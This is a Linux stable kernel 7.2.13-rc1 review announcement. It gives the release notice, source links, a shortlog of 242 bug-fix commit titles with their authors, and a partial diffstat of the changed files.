7.2.13-rc1 review
Greg Kroah-Hartman
maintainercover 7.2.13-rc1 review
This is the start of the stable review cycle for the 7.2.13 release. There are 242 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sun, 25 Oct 2026 16:36:45 +0000. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v7.x/stable-review/patch-7.2.13-rc1.gz
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-7.2.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <[email protected]>
Linux 7.2.13-rc1
Paulo Alcantara <[email protected]>
smb: client: drain outstanding I/O before truncating on O_TRUNC open
Hongling Zeng <[email protected]>
ntfs: fix memmove overlap in ntfs_new_attr_flags
Namjae Jeon <[email protected]>
ntfs: move attribute payload before shrinking its record
Hyunchul Lee <[email protected]>
ntfs: fix resident conversion in ntfs_new_attr_flags
Hongling Zeng <[email protected]>
ntfs: take invalidate_lock in ntfs_setattr_size()
Namjae Jeon <[email protected]>
ntfs: use pagecache_isize_extended() on size extension
Yao Kai <[email protected]>
workqueue: Fix unbound pool lifetime for pending pwqs
Tejun Heo <[email protected]>
sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor
Donggeun Yoo <[email protected]>
tracing: Fix NULL dereference when copying keys for a field variable
Pengpeng Hou <[email protected]>
tracing: Bound histogram expression strings with seq_buf
Pengpeng Hou <[email protected]>
tracing: Use __free() for expr_str() buffer
Tejun Heo <[email protected]>
sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ
Jesse Zhang <[email protected]>
drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
Tvrtko Ursulin <[email protected]>
drm/amdgpu: Remove the bo list mutex
Haris Okanovic <[email protected]>
genirq/proc: Fix missing CPU header in /proc/interrupts
Hongling Zeng <[email protected]>
ntfs: fix undefined behavior in mft/index record size calculation
Hongling Zeng <[email protected]>
ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize
Jacopo Labardi <[email protected]>
ntfs: fix FITRIM range alignment
Hongling Zeng <[email protected]>
ntfs: handle signal interruption in fallocate
Yunpeng Tian <[email protected]>
smb: client: reject SetEA requests that do not fit the request buffer
Paulo Alcantara <[email protected]>
smb: client: fix multiuser mount with krb5
Frank Sorenson <[email protected]>
smb: client: fix heap overflow in cifs_do_set_acl()
Paulo Alcantara <[email protected]>
smb: client: fix data corruption with concurrent writes and O_TRUNC
Aohan Mei <[email protected]>
net/sched: cls_flower: validate mask pointer after nla_next()
Aleksandr Khromov <[email protected]>
ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
Aleksandr Khromov <[email protected]>
ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
Aleksandr Khromov <[email protected]>
ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
Norbert Szetei <[email protected]>
net: psp: do not inherit the Rx association on clone
Koichiro Den <[email protected]>
net: ntb_netdev: Fix statistics races
Jun Yang <[email protected]>
net: bridge: mcast: don't truncate the port group walk on teardown
Dibin Moolakadan Subrahmanian <[email protected]>
drm/i915/dmc: Harden DMC firmware payload parsing
Benjamin Cheng <[email protected]>
drm/amdgpu/userq: actually validate userq BOs
Prike Liang <[email protected]>
drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction
Paolo Bonzini <[email protected]>
KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
David Rosca <[email protected]>
drm/amdgpu: Fix VCE 3 ring align_mask
Zihan Xi <[email protected]>
ipv4: avoid divide by zero in fib_rebalance
Daehyeon Ko <[email protected]>
vsock/vmci: validate packet source for connected sockets
Daehyeon Ko <[email protected]>
vsock/virtio: validate packet source for connected sockets
Niklas Schnelle <[email protected]>
s390/pci: Fix leak of uninitialized kernel data in SCLP report
Thomas Richter <[email protected]>
s390/pai: Handle multiple PMU stop callback invocations
Aswin Karuvally <[email protected]>
s390/ctcm: Prevent XID null dereference
Florian Schauer <[email protected]>
page_pool: keep frag_offset aligned for odd-sized requests
Charles Vosburgh <[email protected]>
sctp: validate chunk length in the inqueue parser
Paul Moore <[email protected]>
selinux: fix BPF token permission checks
Chengfeng Ye <[email protected]>
tipc: protect node reset trace dump with node lock
Tejun Heo <[email protected]>
workqueue: Annotate cb_lock nesting when draining a dead BH pool
Zqiang <[email protected]>
workqueue: Use raise_softirq() to trigger softirq in irq_work handler
Cen Zhang (Microsoft Security FORGE Labs) <[email protected]>
io_uring/cancel: don't spin on local work the task can't run
Ilya Maximets <[email protected]>
netlink: specs: add missing mask attributes for conntrack dump
Ilya Maximets <[email protected]>
netlink: specs: fix the conntrack filter type
Christoph Hellwig <[email protected]>
xfs: fix zoned write iomap flags assignments
Carlos Maiolino <[email protected]>
xfs: fix capability check in xfs
Yun Zhou <[email protected]>
xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf
Bryam Vargas <[email protected]>
net/iucv: fix the recvmsg window update
Kaiwen Shi <[email protected]>
mac802154: fix data race and NULL deref on local->assoc_dev
Chen Cheng <[email protected]>
dm-integrity: require stable writes for internal hash modes
Ben Cressey <[email protected]>
dm-integrity: fix infinite loop on discard with large tag size
Genjian Zhang <[email protected]>
dm-ebs: fix incorrect device offset check in ebs_ctr()
Ben Cressey <[email protected]>
dm-crypt: fix a tiny race condition in crypt_dec_pending
Benjamin Marzinski <[email protected]>
dm cache: fix issue with background work locking
Ming-Hung Tsai <[email protected]>
dm cache: fix demotion stats in passthrough mode
Frank Sorenson <[email protected]>
cifs: don't update i_size in cifs_do_truncate without a cached handle
Frank Sorenson <[email protected]>
cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
Etienne Perot <[email protected]>
cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
Cen Zhang (Microsoft Security FORGE Labs) <[email protected]>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
Cen Zhang (Microsoft Security FORGE Labs) <[email protected]>
tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
Heyang Tan <[email protected]>
wifi: p54: validate firmware record lengths
Dmitry Kandybka <[email protected]>
tracing: Fix ignored return value of resize_buffer_duplicate_size()
Tengda Wu <[email protected]>
tracing: Fix hist trigger timestamps for buffered events
Hao Ge <[email protected]>
tracing: Fix crash in print_graph_function_event()
Amit Machhiwal <[email protected]>
tracing: Do not initialize tracefs work if tracing is disabled
Taeyang Lee <[email protected]>
tracing: Check operator stack capacity before pushing
David Carlier <[email protected]>
tracing: Take trace_types_lock when dropping the buffer_meta reference
Taeyang Lee <[email protected]>
tracing: Keep the predicate limit separate from program capacity
Donggeun Yoo <[email protected]>
tracing: Fix the shift out of bounds in the log2 histogram modifier
Tejun Heo <[email protected]>
sched_ext: Propagate every bypass depth change to the descendants
Hui Su <[email protected]>
sched_ext: idle: Respect task affinity in restricted CPU selection
Tejun Heo <[email protected]>
sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue
Thomas Hellström <[email protected]>
drm/xe: Don't transfer shrinker pages for pinned bos on purgeable state change
Thomas Hellström <[email protected]>
drm/xe: Bump LRU for external objects on exec and rebind
Dibin Moolakadan Subrahmanian <[email protected]>
drm/i915/dmc: Add sanity check for DMC load address
Dnyaneshwar Bhadane <[email protected]>
drm/i915/cx0_phy: Fix ARL-S host bridge detection
Christian König <[email protected]>
drm/exec: don't immediately add prelocked obj to array of locked objs
Jesse Zhang <[email protected]>
drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
Jesse Zhang <[email protected]>
drm/amdgpu: keep the eviction fence until the last handle is closed
Perry Yuan <[email protected]>
drm/amdgpu: fix sched entity leak in ttm buffer entity init
Perry Yuan <[email protected]>
drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl
Jesse Zhang <[email protected]>
drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr
Perry Yuan <[email protected]>
drm/amdgpu: destroy mutex when tearing down ttm buffer entity
Timur Kristóf <[email protected]>
drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set
Timur Kristóf <[email protected]>
drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
Kenneth Feng <[email protected]>
drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
Srinivasan Shanmugam <[email protected]>
drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions
Yehyeong Lee <[email protected]>
scsi: libiscsi: Validate the task named by a management response
Yehyeong Lee <[email protected]>
scsi: libiscsi: Validate the ITT reflected in a Reject PDU
Yehyeong Lee <[email protected]>
scsi: libiscsi: Reject a negative task index from parse_pdu_itt
Yehyeong Lee <[email protected]>
scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
Laurence Oberman <[email protected]>
scsi: st: Fix use-after-free race between st_remove() and st_open()
Stanley Jhu <[email protected]>
scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
Krystian Kaniewski <[email protected]>
ring-buffer: Fix false warning in ring_buffer_map_get_reader()
Donggeun Yoo <[email protected]>
ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
David Carlier <[email protected]>
ring-buffer: Do not show buffer_meta for CPUs without a buffer
Antoine Huret <[email protected]>
perf: Update cgroup time when rotating multiplexed events
Lorenzo Stoakes (ARM) <[email protected]>
perf: Track the perf mlock gift separately
Abdurrahman Hussain <[email protected]>
i2c: xiic: restore non-managed runtime PM to fix clk WARN flood
Wentao Liang <[email protected]>
i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
Loic Poulain <[email protected]>
i2c: qcom-cci: Fix HALT_ACK reset request being dropped
Bartosz Golaszewski <[email protected]>
gpio: shared: gracefully handle no-device lookup of shared GPIOs
Bartosz Golaszewski <[email protected]>
gpio: shared: fix use-after-free bug when adding shared proxies
Lee Jones <[email protected]>
tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
Sasha Levin <[email protected]>
tools: gpio: fix building from the top level with O=
Ali Ahmet Memis <[email protected]>
tools/power turbostat: Read complete CPU lists
Richard Leitner <[email protected]>
spi: imx: fix slab corruption from undersized DMA bounce buffers
Daehyeon Ko <[email protected]>
sctp: revalidate output stream after association connect wait
Conor Dooley <[email protected]>
riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
François Roux <[email protected]>
power: sequencing: qcom-wcn: power off WLAN at probe
Mario Limonciello <[email protected]>
pinctrl: amd: Clear S4 wake bits when firmware has _AEI
Aohan Mei <[email protected]>
net: rds: fix uninitialized trans dereference in CM event handler
Jérémy Jean <[email protected]>
net/sched: fix use-after-free in __tcf_action_put()
Hardik Garg <[email protected]>
mshv_vtl: Check per-CPU register page before mmap
Eric Biggers <[email protected]>
lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
Jérémy Jean <[email protected]>
lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
Jann Horn <[email protected]>
futex: Fix mm reuse handling for FUT_OFF_MMSHARED
Christian Brauner <[email protected]>
namei: test for a negative dentry the way traverse_mounts() does
Christian Brauner <[email protected]>
namespace: a mount that copy_tree() leaves out can't take over a lock
Christian Brauner <[email protected]>
ntfs3: free the sbi after a grace period
Christian Brauner <[email protected]>
ipc: drop the mqueue mount with kern_unmount() on setup failure
Christian Brauner <[email protected]>
eventfs: Free the eventfs_inode after an rcu grace period too
Christian Brauner <[email protected]>
ext4: free the sbi after a grace period
Aviv Vaknin <[email protected]>
pid_namespace: make zap_pid_ns_processes() freezable
Kyle Zeng <[email protected]>
fsnotify: prevent mark additions during connector teardown
Amirmohammad Eftekhar <[email protected]>
KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
Jann Horn <[email protected]>
KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
EJ Campbell <[email protected]>
x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context
Cen Zhang (Microsoft) <[email protected]>
watch_queue: Fix note pool publication race in watch_queue_set_size()
Christian Brauner <[email protected]>
unicode: free the map after a grace period
Sasha Levin <[email protected]>
bootconfig: give the footer size static_assert a message
Sung Byeongchan <[email protected]>
autofs: ignore notification errors from a replaced pipe
Peter Ujfalusi <[email protected]>
ASoC: SOF: sof-client: Use event-handler mutex consistently
Peter Ujfalusi <[email protected]>
ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
Christian Brauner <[email protected]>
afs: free the super info after a grace period
Igor Paunovic <[email protected]>
accel/rocket: search every core slot when looking up a scheduler
Igor Paunovic <[email protected]>
accel/rocket: search every core slot when a core is removed
Christian Brauner <[email protected]>
9p: free the session after a grace period
Takashi Sakamoto <[email protected]>
firewire: core: fix race condition in split transaction handling
Lukas Zobernig <[email protected]>
x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
Alexander Gruhlke <[email protected]>
PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV
Alexander Gruhlke <[email protected]>
PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
John Ogness <[email protected]>
printk: Postpone kthread startup
Haris Okanovic <[email protected]>
perf: Fix perf_pmu_migrate_context() leaving events behind
Guixiong Wei <[email protected]>
perf/x86/intel/uncore: Fix DMR CXL CM invert filter
Igor Velkov <[email protected]>
net: stmmac: dwmac1000: clear the RGMII status interrupt
Vincent Donnefort <[email protected]>
ring-buffer: Use subbuf_order in available memory estimation
Peng Fan <[email protected]>
gpio: mxc: fix race between gpiochip registration and IRQ domain setup
Peng Fan <[email protected]>
gpio: mxc: fix wakeup_pads bit operations
Peng Fan <[email protected]>
gpio: mxc: fix both_edges bit operations
Peng Fan <[email protected]>
gpio: mxc: fix race between chained IRQ handler install and probe completion
Kent Gibson <[email protected]>
gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
Joas Antonio dos Santos <[email protected]>
calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
Nicolai Buchwitz <[email protected]>
net: bcmgenet: unshare the skb before writing the control block
David Yang <[email protected]>
net: ti: icssm-prueth: Move setting of netops to fix crash
David Yang <[email protected]>
net: ethernet: aeroflex: move setting of netops to fix crash
David Yang <[email protected]>
net: ethoc: move setting of netops to fix crash
David Yang <[email protected]>
net: au1000: move setting of netops to fix crash
David Yang <[email protected]>
net: mv643xx: move setting of netops to fix crash
David Yang <[email protected]>
net: ethernet: actions: Move setting of netops to fix crash
David Yang <[email protected]>
net: hisilicon: hip04_eth: Move setting of netops to fix crash
David Yang <[email protected]>
net: hisilicon: hisi_femac: Move setting of netops to fix crash
Kyle Zeng <[email protected]>
netlink: avoid hashing the network namespace pointer
Xingui Yang <[email protected]>
scsi: libsas: Fix SMP IO deadlock during HA resume
Martin Kaiser <[email protected]>
tracing: probes: error if BTF is required but unavailable
Vincent Donnefort <[email protected]>
ring-buffer: Skip si_mem_available() for persistent and remote buffers
Vincent Donnefort <[email protected]>
tracing: Fix simple_ring_buffer undef check on sparc64
Vincent Donnefort <[email protected]>
tracing: Fix simple_ring_buffer undef check on parisc
Vincent Donnefort <[email protected]>
tracing: Fix empty symbol names in simple_ring_buffer undef check
Christian Brauner <[email protected]>
fs: let idle threads share init_fs
Christian Brauner <[email protected]>
fs: pass flags to copy_fs()
Christian Brauner <[email protected]>
fs: add umh argument to struct kernel_clone_args
Christian Brauner <[email protected]>
fs: make userspace_init_fs a dynamically-initialized pointer
Christian Brauner <[email protected]>
fs: add real_fs to track task's actual fs_struct
Christian Brauner <[email protected]>
fs: add scoped_with_init_fs()
Christian Brauner <[email protected]>
fs: notice when init abandons fs sharing
Christian Brauner <[email protected]>
fs: add switch_fs_struct()
Kyle Zeng <[email protected]>
pipe: preserve existing fasync readers on writer setup failure
Nickolai Zeldovich <[email protected]>
exit: fix lost-update race on the child_subreaper bitfields
Sasha Levin <[email protected]>
samples: pidfd: fix userprogs typo
Cen Zhang <[email protected]>
ocfs2/dlm: Protect the recovery list during debugfs reads
Erik Faye-Lund <[email protected]>
drm/panthor: fix immortalis condition
Jason Gunthorpe <[email protected]>
iommupt/kunit: Use if_changed_rule for the kunit
Mikhail Gavrilov <[email protected]>
entry: Account the deferred hrtimer rearm as hardirq context for lockdep
K Prateek Nayak <[email protected]>
sched/core: Call wakeup_preempt() for queued tasks during class change
Linfeng Sun <[email protected]>
scsi: target: iscsi: Fix race in discovery auth updates
Yu Zhang <[email protected]>
scsi: target: Disable interrupts while holding delayed_cmd_lock
Laurence Oberman <[email protected]>
scsi: st: Save the visited block for the partition the drive is in
Keith Busch <[email protected]>
nios2: fix __wsum type degradation in csum_fold()
Carlos Jones Jr <[email protected]>
spi: tegra114: assert CS GPIO for every transfer in a message
Bommu Krishnaiah <[email protected]>
drm/xe/oa: Zero OA buffer at allocation
Niranjana Vishwanathapura <[email protected]>
drm/xe: skip eviction of a BO with no resource
Mario Limonciello <[email protected]>
ASoC: amd: yc: disable MSI on resume
Alexandre Cassen <[email protected]>
net/mlx5: HWS, fix flow meter offset within its bulk
Alexandre Cassen <[email protected]>
net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
Guangshuo Li <[email protected]>
accel/rocket: clear rdev on device init failure
Kyle Zeng <[email protected]>
netlink: reset skb headers before unicast and multicast filtering
Michael Reeves <[email protected]>
regmap: Drop map lock during cache init and exit
HyeongJun An <[email protected]>
ASoC: nau8822: Fix the 128x oversampling switch bits
HyeongJun An <[email protected]>
ASoC: wm8978: Fix the 128x oversampling switch bits
HyeongJun An <[email protected]>
ASoC: max98371: Fix the Speaker DHT Min Volume bits
HyeongJun An <[email protected]>
ASoC: pcm3168a: Fix the DAC zero flag polarity bit
HyeongJun An <[email protected]>
ASoC: cs42l52: Fix the NG Type Switch bit
HyeongJun An <[email protected]>
ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
Avi Weiss <[email protected]>
ASoC: stm32: spdifrx: fix synchronization state check
Sergey Tiraspolsky <[email protected]>
ASoC: Intel: avs: Reset the stream unless it is already prepared
Liam R. Howlett <[email protected]>
accel/amdxdna: Fix Kconfig invalid configuration
Allison Henderson <[email protected]>
net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure
Michal Luczaj <[email protected]>
vsock: treat TCP_CLOSING as once-established
Ming Yu <[email protected]>
gpio: nct6694: Mark the GPIO controller as sleeping
Dave Stevenson <[email protected]>
drm/vc4: hdmi: Move packet RAM enable to PM runtime
Pablo Mazzini <[email protected]>
pinctrl: sunxi: dt: do not accumulate npins across probe attempts
Adriel Santos <[email protected]>
pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
Alexey Charkov <[email protected]>
power: supply: core: prevent unregistering a power supply while a callback runs
Svyatoslav Ryhel <[email protected]>
power: supply: generic-adc-battery: Fix temperature IIO channel conversion
Len Brown <[email protected]>
tools/power turbostat: Fix add_counter issue if > 24 counters.
Len Brown <[email protected]>
tools/power turbostat: Fix PMT error path fd handling
Len Brown <[email protected]>
tools/power turbostat: Fix CWF PMT off-by-one
Len Brown <[email protected]>
tools/power turbostat: Fix fd_perf leak on reset
Len Brown <[email protected]>
tools/power turbostat: Warn, but don't Err on out-dated perf systems
Shawn Guo <[email protected]>
pinctrl: qcom: spmi-gpio: make direction changes exclusive
Gilberto Conde <[email protected]>
pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
Pengpeng Hou <[email protected]>
ARM: configs: sama5: enable current Microchip KSZ DSA symbols
Konrad Dybcio <[email protected]>
pinctrl: qcom: qcs8300: Fix intr_target_width
Konrad Dybcio <[email protected]>
pinctrl: qcom: hawi: Fix intr_target_width
Zhangfei Gao <[email protected]>
pinctrl: qcom: nord: fix GPIO interrupt target width
Michael Kelley <[email protected]>
Drivers: hv: Don't reset VMBus connection state on error/exit paths
Michael Kelley <[email protected]>
x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
Waiman Long <[email protected]>
Drivers: hv: Avoid infinite retry loop in init_vp_index()
Jon Hunter <[email protected]>
soc/tegra: pmc: Fix uninitialised clock rate
Xueqin Luo <[email protected]>
power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
Karl Mehltretter <[email protected]>
power: supply: Fix maintenance charge table kernel-doc
David Oberhollenzer <[email protected]>
ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
Jinhui Guo <[email protected]>
soc/tegra: fuse: Add missing newline to APBMISC error message
Abel Vesa <[email protected]>
i2c: qcom-geni: Restore the source-clock selection policy
Gael Blivet <[email protected]>
ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
-------------
Diffstat:
Documentation/netlink/specs/conntrack.yaml | 21 +++- Makefile | 4 +- arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +- arch/arm/configs/sama5_defconfig | 4 +- arch/nios2/include/asm/checksum.h | 2 +- .../riscv/boot/dts/microchip/mpfs-beaglev-fire.dts | 18 --- arch/s390/kernel/perf_pai.c | 25 +++- arch/s390/pci/pci_sysfs.c | 3 + arch/x86/events/intel/uncore_snbep.c | 5 +- arch/x86/hyperv/hv_init.c | 3 +- arch/x86/include/asm/insn.h | 2 +- arch/x86/kernel/kvm.c | 32 +++++- arch/x86/kvm/mmu.h | 16 ++- arch/x86/kvm/mmu/paging_tmpl.h | 3 +- arch/x86/kvm/svm/sev.c | 2 +- arch/x86/kvm/vmx/nested.c | 4 +- block/bsg-lib.c | 13 ++- drivers/accel/amdxdna/Kconfig | 1 + drivers/accel/rocket/rocket_device.c | 2 + drivers/accel/rocket/rocket_device.h | 1 + drivers/accel/rocket/rocket_drv.c | 7 +- drivers/accel/rocket/rocket_job.c | 2 +- drivers/base/regmap/regcache-maple.c | 9 +- drivers/base/regmap/regcache.c | 6 - drivers/firewire/core-transaction.c | 8 +- drivers/gpio/gpio-mxc.c | 36 +++--- drivers/gpio/gpio-nct6694.c | 2 +- drivers/gpio/gpiolib-shared.c | 19 +++- drivers/gpio/gpiolib.c | 9 +- drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c | 3 +- drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h | 4 - drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 22 ++-- drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 23 +--- drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 17 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 7 +- drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c | 13 ++- drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +++- drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c | 2 +- drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +- drivers/gpu/drm/amd/display/dc/link/link_dpms.c | 18 ++- .../gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 ++++++++- drivers/gpu/drm/drm_exec.c | 77 +++++++------ drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +- drivers/gpu/drm/i915/display/intel_dmc.c | 76 ++++++++++++- drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 ++ drivers/gpu/drm/panthor/panthor_hw.c | 2 +- drivers/gpu/drm/vc4/vc4_hdmi.c | 20 ++-- drivers/gpu/drm/xe/xe_bo.c | 11 +- drivers/gpu/drm/xe/xe_exec.c | 7 +- drivers/gpu/drm/xe/xe_oa.c | 7 ++ drivers/gpu/drm/xe/xe_vm.c | 31 ++++- drivers/gpu/drm/xe/xe_vm.h | 2 + drivers/hv/channel_mgmt.c | 12 +- drivers/hv/connection.c | 1 - drivers/hv/mshv_vtl_main.c | 3 + drivers/hv/vmbus_drv.c | 1 - drivers/i2c/busses/i2c-qcom-cci.c | 4 +- drivers/i2c/busses/i2c-qcom-geni.c | 37 +++--- drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +- drivers/i2c/busses/i2c-xiic.c | 49 ++++++-- drivers/iommu/generic_pt/fmt/Makefile | 2 +- drivers/md/dm-cache-target.c | 59 +++++----- drivers/md/dm-crypt.c | 3 +- drivers/md/dm-ebs-target.c | 3 +- drivers/md/dm-integrity.c | 6 +- drivers/net/ethernet/actions/owl-emac.c | 3 +- drivers/net/ethernet/aeroflex/greth.c | 3 +- drivers/net/ethernet/amd/au1000_eth.c | 3 +- drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++ drivers/net/ethernet/ethoc.c | 3 +- drivers/net/ethernet/hisilicon/hip04_eth.c | 3 +- drivers/net/ethernet/hisilicon/hisi_femac.c | 3 +- drivers/net/ethernet/marvell/mv643xx_eth.c | 4 +- .../mellanox/mlx5/core/steering/hws/fs_hws.c | 5 +- .../net/ethernet/stmicro/stmmac/dwmac1000_core.c | 6 + drivers/net/ethernet/ti/icssm/icssm_prueth.c | 3 +- drivers/net/ntb_netdev.c | 47 +++++--- drivers/net/wireless/intersil/p54/fwio.c | 42 ++++++- drivers/pci/pci.c | 15 ++- drivers/pci/quirks.c | 12 ++ drivers/pinctrl/pinctrl-amd.c | 9 ++ drivers/pinctrl/qcom/pinctrl-hawi.c | 1 + drivers/pinctrl/qcom/pinctrl-ipq5018.c | 10 +- drivers/pinctrl/qcom/pinctrl-nord.c | 1 + drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 + drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 37 ++++-- drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 + drivers/power/sequencing/pwrseq-qcom-wcn.c | 16 +-- drivers/power/supply/ds2780_battery.c | 2 +- drivers/power/supply/generic-adc-battery.c | 9 +- drivers/power/supply/power_supply_core.c | 26 ++++- drivers/s390/net/ctcm_mpc.c | 3 +- drivers/scsi/libiscsi.c | 14 ++- drivers/scsi/libsas/sas_expander.c | 14 ++- drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +- drivers/scsi/scsi_transport_fc.c | 6 +- drivers/scsi/scsi_transport_iscsi.c | 2 +- drivers/scsi/scsi_transport_sas.c | 6 +- drivers/scsi/st.c | 18 ++- drivers/scsi/xen-scsifront.c | 1 + drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +- drivers/soc/tegra/pmc.c | 1 + drivers/spi/spi-imx.c | 9 +- drivers/spi/spi-tegra114.c | 7 ++ drivers/target/iscsi/iscsi_target_configfs.c | 26 +++-- drivers/target/target_core_transport.c | 8 +- drivers/ufs/core/ufs_bsg.c | 2 +- fs/9p/v9fs.h | 1 + fs/9p/vfs_super.c | 4 +- fs/afs/internal.h | 2 + fs/afs/super.c | 2 +- fs/autofs/waitq.c | 25 +++- fs/ext4/ext4.h | 2 + fs/ext4/extents-test.c | 2 + fs/ext4/extents.c | 1 + fs/ext4/extents_status.c | 7 +- fs/ext4/extents_status.h | 1 + fs/ext4/super.c | 13 ++- fs/fs_struct.c | 100 +++++++++++++++- fs/namei.c | 3 +- fs/namespace.c | 19 +++- fs/notify/mark.c | 11 ++ fs/ntfs/attrib.c | 8 +- fs/ntfs/bitmap.c | 8 +- fs/ntfs/ea.c | 126 +++++++++++++++++---- fs/ntfs/file.c | 41 ++++--- fs/ntfs/super.c | 4 +- fs/ntfs3/ntfs_fs.h | 1 + fs/ntfs3/super.c | 33 ++++-- fs/ocfs2/dlm/dlmcommon.h | 2 + fs/ocfs2/dlm/dlmdebug.c | 5 +- fs/ocfs2/dlm/dlmrecovery.c | 2 +- fs/pipe.c | 6 +- fs/proc/array.c | 4 +- fs/proc/base.c | 8 +- fs/proc_namespace.c | 4 +- fs/smb/client/cifssmb.c | 24 +++- fs/smb/client/connect.c | 21 +++- fs/smb/client/file.c | 38 ++++++- fs/smb/client/smb2ops.c | 7 +- fs/smb/server/smb2pdu.c | 6 + fs/tracefs/event_inode.c | 10 +- fs/unicode/utf8-core.c | 21 +++- fs/xfs/libxfs/xfs_rtgroup.h | 6 +- fs/xfs/libxfs/xfs_sb.c | 37 +++--- fs/xfs/xfs_aops.c | 3 +- fs/xfs/xfs_fsmap.c | 2 +- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iomap.c | 3 +- fs/xfs/xfs_iops.c | 2 +- include/drm/drm_exec.h | 15 ++- include/linux/bsg-lib.h | 3 +- include/linux/cgroup-defs.h | 5 +- include/linux/fs_struct.h | 34 ++++++ include/linux/fsnotify_backend.h | 1 + include/linux/futex.h | 19 ++-- include/linux/futex_types.h | 2 + include/linux/init_task.h | 1 + include/linux/irq-entry-common.h | 23 +++- include/linux/maple_tree.h | 4 + include/linux/power_supply.h | 16 ++- include/linux/sched.h | 1 + include/linux/sched/signal.h | 4 +- include/linux/sched/task.h | 1 + include/linux/sched/user.h | 8 +- include/linux/unicode.h | 1 + include/net/af_vsock.h | 3 + init/init_task.c | 1 + init/main.c | 3 + io_uring/cancel.c | 7 +- ipc/namespace.c | 2 +- kernel/cgroup/cgroup.c | 6 +- kernel/events/core.c | 33 +++--- kernel/exit.c | 2 +- kernel/fork.c | 67 +++++++---- kernel/futex/core.c | 55 +++++---- kernel/irq/proc.c | 24 ++-- kernel/kcmp.c | 2 +- kernel/pid_namespace.c | 2 +- kernel/printk/printk.c | 2 +- kernel/sched/core.c | 19 ++-- kernel/sched/ext/ext.c | 95 +++++++++++----- kernel/sched/ext/idle.c | 50 ++++++-- kernel/sched/ext/internal.h | 5 +- kernel/trace/Makefile | 5 +- kernel/trace/ring_buffer.c | 60 +++++----- kernel/trace/trace.c | 28 ++++- kernel/trace/trace_events_filter.c | 9 +- kernel/trace/trace_events_hist.c | 90 ++++++++------- kernel/trace/trace_probe.c | 3 +- kernel/trace/trace_snapshot.c | 5 +- kernel/trace/undefsyms_base.c | 5 +- kernel/umh.c | 6 +- 